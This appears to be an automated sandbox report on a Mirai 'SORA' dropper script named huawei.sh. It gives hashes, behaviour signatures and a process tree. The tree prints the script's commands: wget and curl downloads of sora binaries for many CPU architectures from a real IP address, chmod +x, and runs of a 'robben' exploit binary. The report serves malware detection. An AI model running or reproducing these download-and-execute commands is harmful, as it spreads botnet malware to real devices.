Analysis
-
max time kernel
16s -
max time network
129s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
20-02-2025 16:17
Static task
static1
Behavioral task
behavioral1
Sample
huawei.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
huawei.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
huawei.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
huawei.sh
Resource
debian9-mipsel-20240226-en
General
-
Target
huawei.sh
-
Size
2KB
-
MD5
ac306c41d87f3602aa9c98d67147f52a
-
SHA1
ed5f329d01c5020564e348a9b020b2d1b62ce80a
-
SHA256
d35d4010a32654d026d45c552acf8ef7bdc74ec484227b2ccc2ae08bd491fa2f
-
SHA512
3cb56411917bd35c7a32e996b376d6a2e78992c8229b6b71936e694085701f9b5b4c40ab7968ed61e49988e0b324d2d3cf8233b7ecc9e13d622cf8559d355ad1
Malware Config
Extracted
mirai
SORA
Extracted
mirai
SORA
Signatures
-
Mirai family
-
File and Directory Permissions Modification 1 TTPs 14 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1566 chmod 1572 chmod 1578 chmod 1549 chmod 1555 chmod 1560 chmod 1584 chmod 1589 chmod 1595 chmod 1517 chmod 1523 chmod 1529 chmod 1535 chmod 1540 chmod -
Executes dropped EXE 14 IoCs
ioc pid Process /tmp/robben 1518 huawei.sh /tmp/robben 1524 huawei.sh /tmp/robben 1530 huawei.sh /tmp/robben 1536 huawei.sh /tmp/robben 1541 huawei.sh /tmp/robben 1550 huawei.sh /tmp/robben 1556 huawei.sh /tmp/robben 1561 huawei.sh /tmp/robben 1567 huawei.sh /tmp/robben 1573 huawei.sh /tmp/robben 1579 huawei.sh /tmp/robben 1585 huawei.sh /tmp/robben 1590 huawei.sh /tmp/robben 1596 huawei.sh -
resource yara_rule behavioral1/files/fstream-1.dat upx behavioral1/files/fstream-4.dat upx behavioral1/files/fstream-5.dat upx behavioral1/files/fstream-7.dat upx -
System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1520 wget 1521 curl 1522 cat -
Writes file to tmp directory 26 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/sora.x86 curl File opened for modification /tmp/sora.mips curl File opened for modification /tmp/sora.i686 curl File opened for modification /tmp/sora.mpsl curl File opened for modification /tmp/sora.m68k wget File opened for modification /tmp/sora.m68k curl File opened for modification /tmp/robben huawei.sh File opened for modification /tmp/sora.mpsl wget File opened for modification /tmp/sora.arm7 curl File opened for modification /tmp/sora.ppc curl File opened for modification /tmp/sora.ppc440fp curl File opened for modification /tmp/sora.sh4 wget File opened for modification /tmp/sora.mips wget File opened for modification /tmp/sora.x86_64 wget File opened for modification /tmp/sora.x86_64 curl File opened for modification /tmp/sora.i468 curl File opened for modification /tmp/sora.arm4 curl File opened for modification /tmp/sora.arm5 curl File opened for modification /tmp/sora.arm6 wget File opened for modification /tmp/sora.ppc wget File opened for modification /tmp/sora.x86 wget File opened for modification /tmp/sora.i686 wget File opened for modification /tmp/sora.arm5 wget File opened for modification /tmp/sora.arm6 curl File opened for modification /tmp/sora.arm7 wget File opened for modification /tmp/sora.sh4 curl
Processes
-
/tmp/huawei.sh/tmp/huawei.sh1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:1510 -
/usr/bin/wgetwget http://176.65.137.13/bins/sora.x862⤵
- Writes file to tmp directory
PID:1511
-
-
/usr/bin/curlcurl -O http://176.65.137.13/bins/sora.x862⤵
- Writes file to tmp directory
PID:1515
-
-
/bin/catcat sora.x862⤵PID:1516
-
-
/bin/chmodchmod +x config-err-V8i1f1 huawei.sh netplan_1g28a08u robben snap-private-tmp sora.x86 ssh-zYBNdZVpQqvt systemd-private-db8c9e4d3e954cef901cb4690baf26be-bolt.service-xxuCDF systemd-private-db8c9e4d3e954cef901cb4690baf26be-colord.service-h3886O systemd-private-db8c9e4d3e954cef901cb4690baf26be-ModemManager.service-vaOZi0 systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-resolved.service-xlinxd systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-timedated.service-meMTcq2⤵
- File and Directory Permissions Modification
PID:1517
-
-
/usr/bin/wgetwget http://176.65.137.13/bins/sora.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1520
-
-
/usr/bin/curlcurl -O http://176.65.137.13/bins/sora.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1521
-
-
/bin/catcat sora.mips2⤵
- System Network Configuration Discovery
PID:1522
-
-
/bin/chmodchmod +x config-err-V8i1f1 huawei.sh netplan_1g28a08u robben snap-private-tmp sora.mips sora.x86 ssh-zYBNdZVpQqvt systemd-private-db8c9e4d3e954cef901cb4690baf26be-bolt.service-xxuCDF systemd-private-db8c9e4d3e954cef901cb4690baf26be-colord.service-h3886O systemd-private-db8c9e4d3e954cef901cb4690baf26be-ModemManager.service-vaOZi0 systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-resolved.service-xlinxd systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-timedated.service-meMTcq2⤵
- File and Directory Permissions Modification
PID:1523
-
-
/tmp/robben./robben huawei.exploit2⤵PID:1524
-
-
/usr/bin/wgetwget http://176.65.137.13/bins/sora.x86_642⤵
- Writes file to tmp directory
PID:1526
-
-
/usr/bin/curlcurl -O http://176.65.137.13/bins/sora.x86_642⤵
- Writes file to tmp directory
PID:1527
-
-
/bin/catcat sora.x86_642⤵PID:1528
-
-
/bin/chmodchmod +x config-err-V8i1f1 huawei.sh netplan_1g28a08u robben snap-private-tmp sora.mips sora.x86 sora.x86_64 ssh-zYBNdZVpQqvt systemd-private-db8c9e4d3e954cef901cb4690baf26be-bolt.service-xxuCDF systemd-private-db8c9e4d3e954cef901cb4690baf26be-colord.service-h3886O systemd-private-db8c9e4d3e954cef901cb4690baf26be-ModemManager.service-vaOZi0 systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-resolved.service-xlinxd systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-timedated.service-meMTcq2⤵
- File and Directory Permissions Modification
PID:1529
-
-
/tmp/robben./robben huawei.exploit2⤵PID:1530
-
-
/usr/bin/wgetwget http://176.65.137.13/bins/sora.i4682⤵PID:1532
-
-
/usr/bin/curlcurl -O http://176.65.137.13/bins/sora.i4682⤵
- Writes file to tmp directory
PID:1533
-
-
/bin/catcat sora.i4682⤵PID:1534
-
-
/bin/chmodchmod +x config-err-V8i1f1 huawei.sh netplan_1g28a08u robben snap-private-tmp sora.i468 sora.mips sora.x86 sora.x86_64 ssh-zYBNdZVpQqvt systemd-private-db8c9e4d3e954cef901cb4690baf26be-bolt.service-xxuCDF systemd-private-db8c9e4d3e954cef901cb4690baf26be-colord.service-h3886O systemd-private-db8c9e4d3e954cef901cb4690baf26be-ModemManager.service-vaOZi0 systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-resolved.service-xlinxd systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-timedated.service-meMTcq2⤵
- File and Directory Permissions Modification
PID:1535
-
-
/tmp/robben./robben huawei.exploit2⤵PID:1536
-
-
/usr/bin/wgetwget http://176.65.137.13/bins/sora.i6862⤵
- Writes file to tmp directory
PID:1537
-
-
/usr/bin/curlcurl -O http://176.65.137.13/bins/sora.i6862⤵
- Writes file to tmp directory
PID:1538
-
-
/bin/catcat sora.i6862⤵PID:1539
-
-
/bin/chmodchmod +x config-err-V8i1f1 huawei.sh netplan_1g28a08u robben snap-private-tmp sora.i468 sora.i686 sora.mips sora.x86 sora.x86_64 ssh-zYBNdZVpQqvt systemd-private-db8c9e4d3e954cef901cb4690baf26be-bolt.service-xxuCDF systemd-private-db8c9e4d3e954cef901cb4690baf26be-colord.service-h3886O systemd-private-db8c9e4d3e954cef901cb4690baf26be-ModemManager.service-vaOZi0 systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-resolved.service-xlinxd systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-timedated.service-meMTcq2⤵
- File and Directory Permissions Modification
PID:1540
-
-
/usr/bin/wgetwget http://176.65.137.13/bins/sora.mpsl2⤵
- Writes file to tmp directory
PID:1543
-
-
/usr/bin/curlcurl -O http://176.65.137.13/bins/sora.mpsl2⤵
- Writes file to tmp directory
PID:1544
-
-
/bin/catcat sora.mpsl2⤵PID:1548
-
-
/bin/chmodchmod +x config-err-V8i1f1 huawei.sh netplan_1g28a08u robben snap-private-tmp sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 ssh-zYBNdZVpQqvt systemd-private-db8c9e4d3e954cef901cb4690baf26be-bolt.service-xxuCDF systemd-private-db8c9e4d3e954cef901cb4690baf26be-colord.service-h3886O systemd-private-db8c9e4d3e954cef901cb4690baf26be-ModemManager.service-vaOZi0 systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-resolved.service-xlinxd systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-timedated.service-meMTcq2⤵
- File and Directory Permissions Modification
PID:1549
-
-
/tmp/robben./robben huawei.exploit2⤵PID:1550
-
-
/usr/bin/wgetwget http://176.65.137.13/bins/sora.arm42⤵PID:1552
-
-
/usr/bin/curlcurl -O http://176.65.137.13/bins/sora.arm42⤵
- Writes file to tmp directory
PID:1553
-
-
/bin/catcat sora.arm42⤵PID:1554
-
-
/bin/chmodchmod +x config-err-V8i1f1 huawei.sh netplan_1g28a08u robben snap-private-tmp sora.arm4 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 ssh-zYBNdZVpQqvt systemd-private-db8c9e4d3e954cef901cb4690baf26be-bolt.service-xxuCDF systemd-private-db8c9e4d3e954cef901cb4690baf26be-colord.service-h3886O systemd-private-db8c9e4d3e954cef901cb4690baf26be-ModemManager.service-vaOZi0 systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-resolved.service-xlinxd systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-timedated.service-meMTcq2⤵
- File and Directory Permissions Modification
PID:1555
-
-
/tmp/robben./robben huawei.exploit2⤵PID:1556
-
-
/usr/bin/wgetwget http://176.65.137.13/bins/sora.arm52⤵
- Writes file to tmp directory
PID:1557
-
-
/usr/bin/curlcurl -O http://176.65.137.13/bins/sora.arm52⤵
- Writes file to tmp directory
PID:1558
-
-
/bin/catcat sora.arm52⤵PID:1559
-
-
/bin/chmodchmod +x config-err-V8i1f1 huawei.sh netplan_1g28a08u robben snap-private-tmp sora.arm4 sora.arm5 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 ssh-zYBNdZVpQqvt systemd-private-db8c9e4d3e954cef901cb4690baf26be-bolt.service-xxuCDF systemd-private-db8c9e4d3e954cef901cb4690baf26be-colord.service-h3886O systemd-private-db8c9e4d3e954cef901cb4690baf26be-ModemManager.service-vaOZi0 systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-resolved.service-xlinxd systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-timedated.service-meMTcq2⤵
- File and Directory Permissions Modification
PID:1560
-
-
/tmp/robben./robben huawei.exploit2⤵PID:1561
-
-
/usr/bin/wgetwget http://176.65.137.13/bins/sora.arm62⤵
- Writes file to tmp directory
PID:1563
-
-
/usr/bin/curlcurl -O http://176.65.137.13/bins/sora.arm62⤵
- Writes file to tmp directory
PID:1564
-
-
/bin/catcat sora.arm62⤵PID:1565
-
-
/bin/chmodchmod +x config-err-V8i1f1 huawei.sh netplan_1g28a08u robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 ssh-zYBNdZVpQqvt systemd-private-db8c9e4d3e954cef901cb4690baf26be-bolt.service-xxuCDF systemd-private-db8c9e4d3e954cef901cb4690baf26be-colord.service-h3886O systemd-private-db8c9e4d3e954cef901cb4690baf26be-ModemManager.service-vaOZi0 systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-resolved.service-xlinxd systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-timedated.service-meMTcq2⤵
- File and Directory Permissions Modification
PID:1566
-
-
/tmp/robben./robben huawei.exploit2⤵PID:1567
-
-
/usr/bin/wgetwget http://176.65.137.13/bins/sora.arm72⤵
- Writes file to tmp directory
PID:1569
-
-
/usr/bin/curlcurl -O http://176.65.137.13/bins/sora.arm72⤵
- Writes file to tmp directory
PID:1570
-
-
/bin/catcat sora.arm72⤵PID:1571
-
-
/bin/chmodchmod +x config-err-V8i1f1 huawei.sh netplan_1g28a08u robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 ssh-zYBNdZVpQqvt systemd-private-db8c9e4d3e954cef901cb4690baf26be-bolt.service-xxuCDF systemd-private-db8c9e4d3e954cef901cb4690baf26be-colord.service-h3886O systemd-private-db8c9e4d3e954cef901cb4690baf26be-ModemManager.service-vaOZi0 systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-resolved.service-xlinxd systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-timedated.service-meMTcq2⤵
- File and Directory Permissions Modification
PID:1572
-
-
/tmp/robben./robben huawei.exploit2⤵PID:1573
-
-
/usr/bin/wgetwget http://176.65.137.13/bins/sora.ppc2⤵
- Writes file to tmp directory
PID:1575
-
-
/usr/bin/curlcurl -O http://176.65.137.13/bins/sora.ppc2⤵
- Writes file to tmp directory
PID:1576
-
-
/bin/catcat sora.ppc2⤵PID:1577
-
-
/bin/chmodchmod +x config-err-V8i1f1 huawei.sh netplan_1g28a08u robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.x86 sora.x86_64 ssh-zYBNdZVpQqvt systemd-private-db8c9e4d3e954cef901cb4690baf26be-bolt.service-xxuCDF systemd-private-db8c9e4d3e954cef901cb4690baf26be-colord.service-h3886O systemd-private-db8c9e4d3e954cef901cb4690baf26be-ModemManager.service-vaOZi0 systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-resolved.service-xlinxd systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-timedated.service-meMTcq2⤵
- File and Directory Permissions Modification
PID:1578
-
-
/tmp/robben./robben huawei.exploit2⤵PID:1579
-
-
/usr/bin/wgetwget http://176.65.137.13/bins/sora.ppc440fp2⤵PID:1581
-
-
/usr/bin/curlcurl -O http://176.65.137.13/bins/sora.ppc440fp2⤵
- Writes file to tmp directory
PID:1582
-
-
/bin/catcat sora.ppc440fp2⤵PID:1583
-
-
/bin/chmodchmod +x config-err-V8i1f1 huawei.sh netplan_1g28a08u robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64 ssh-zYBNdZVpQqvt systemd-private-db8c9e4d3e954cef901cb4690baf26be-bolt.service-xxuCDF systemd-private-db8c9e4d3e954cef901cb4690baf26be-colord.service-h3886O systemd-private-db8c9e4d3e954cef901cb4690baf26be-ModemManager.service-vaOZi0 systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-resolved.service-xlinxd systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-timedated.service-meMTcq2⤵
- File and Directory Permissions Modification
PID:1584
-
-
/tmp/robben./robben huawei.exploit2⤵PID:1585
-
-
/usr/bin/wgetwget http://176.65.137.13/bins/sora.m68k2⤵
- Writes file to tmp directory
PID:1586
-
-
/usr/bin/curlcurl -O http://176.65.137.13/bins/sora.m68k2⤵
- Writes file to tmp directory
PID:1587
-
-
/bin/catcat sora.m68k2⤵PID:1588
-
-
/bin/chmodchmod +x config-err-V8i1f1 huawei.sh netplan_1g28a08u robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64 ssh-zYBNdZVpQqvt systemd-private-db8c9e4d3e954cef901cb4690baf26be-bolt.service-xxuCDF systemd-private-db8c9e4d3e954cef901cb4690baf26be-colord.service-h3886O systemd-private-db8c9e4d3e954cef901cb4690baf26be-ModemManager.service-vaOZi0 systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-resolved.service-xlinxd systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-timedated.service-meMTcq2⤵
- File and Directory Permissions Modification
PID:1589
-
-
/tmp/robben./robben huawei.exploit2⤵PID:1590
-
-
/usr/bin/wgetwget http://176.65.137.13/bins/sora.sh42⤵
- Writes file to tmp directory
PID:1592
-
-
/usr/bin/curlcurl -O http://176.65.137.13/bins/sora.sh42⤵
- Writes file to tmp directory
PID:1593
-
-
/bin/catcat sora.sh42⤵PID:1594
-
-
/bin/chmodchmod +x config-err-V8i1f1 huawei.sh netplan_1g28a08u robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.sh4 sora.x86 sora.x86_64 ssh-zYBNdZVpQqvt systemd-private-db8c9e4d3e954cef901cb4690baf26be-bolt.service-xxuCDF systemd-private-db8c9e4d3e954cef901cb4690baf26be-colord.service-h3886O systemd-private-db8c9e4d3e954cef901cb4690baf26be-ModemManager.service-vaOZi0 systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-resolved.service-xlinxd systemd-private-db8c9e4d3e954cef901cb4690baf26be-systemd-timedated.service-meMTcq2⤵
- File and Directory Permissions Modification
PID:1595
-
-
/tmp/robben./robben huawei.exploit2⤵PID:1596
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
28KB
MD5fa9b6c7c37b9749884b432b1cfcd447c
SHA11ddf712db6bf2948950b7fd884766a1a5d2b4294
SHA2564a18c7f6e74bc6f4a20f948c8b0555f4688c80740a5eb9d3388fc8930ac65432
SHA5122f8f653f60de4a0562e524fb9993175a46b946e1fe476f3e180558baa0462f5725549c6587ad1b264df98cee8438adfab8bab7014ef423ff7a554ee59e9ef806
-
Filesize
28KB
MD5ce88468dfdee071a7a62485b512c56a1
SHA18a1c6f3d1024b98faba6b58072972e72936add17
SHA2569a720166ffa4e73959c5cb54af0b5637ad17cb1ac768f7a66939a07e9f0e28db
SHA51291eb34165af402c57d25c7c958605e03f680f271187174a0ab2e891c0c31322808e484a1c98b4bd6c924d68493b9d99f36474e45c4b29b5959530f79382c3d8c
-
Filesize
212B
MD583ab6cd9a67528bbc6f4f360cb7f8d83
SHA107e8f17209e0569aab39f062568ff0090d9b20d4
SHA2563ffdc3e7f17876fa23ee6595712e544975dc985d313fe07fd103e6cd3606b435
SHA512171e8022f004540814acfc611cd0c46f708fdc6dd2590042981cb00f8136baa6521155549a77e98352901b0dfa5a8d284feb37a7babf9e2bf400a9acc3bb686f
-
Filesize
28KB
MD5a70636d57e9deea3ce72e6e0212965f0
SHA14761f53ca4d1ba6f193adbb9c460acc6c8b14d38
SHA25686103ccdb8e57a2c6a9be1828561fbf4f07adc21e432f8e21ebcc10eebb0281c
SHA512e9b69afa60a19d13f7780428eea5b071328301282b3f589787078d45a6b79f53d9b8c8ae39a611564fa62b726c987851a6f1a2ef45e633039a53f9c07de6357b
-
Filesize
64KB
MD54047f835c9e2afbc9ee9dea5d14587fe
SHA1c2d7f812ddede398f1a8c875152d0f262743a70e
SHA2561bfe680601595f54ba0232409784e9b939729fb44871606010cb704daef1dba0
SHA51241ddc457d226b269f6da6dff30c97cd44a2aa542b19f020039733dee3c9512ad31d1cffa5877e494055bde9e554c108f8828fea86a7c0f6663592506e337d787
-
Filesize
27KB
MD5c0c367bd815a1550281a34845445dcb3
SHA1cdaeafd335143dd8c3584c0ba8362c6281b38786
SHA256438747b91b304a609ccd2b5a7502fea1e20b6beabdb035834f335825b182644e
SHA51260adf781185e829c222bd0570193cfa157bf622323404bb629692a9b18da9e73c8d59fd2305c96172f374fdab20dceadae45ac4137d6ae6e3fc6861ae8a24ead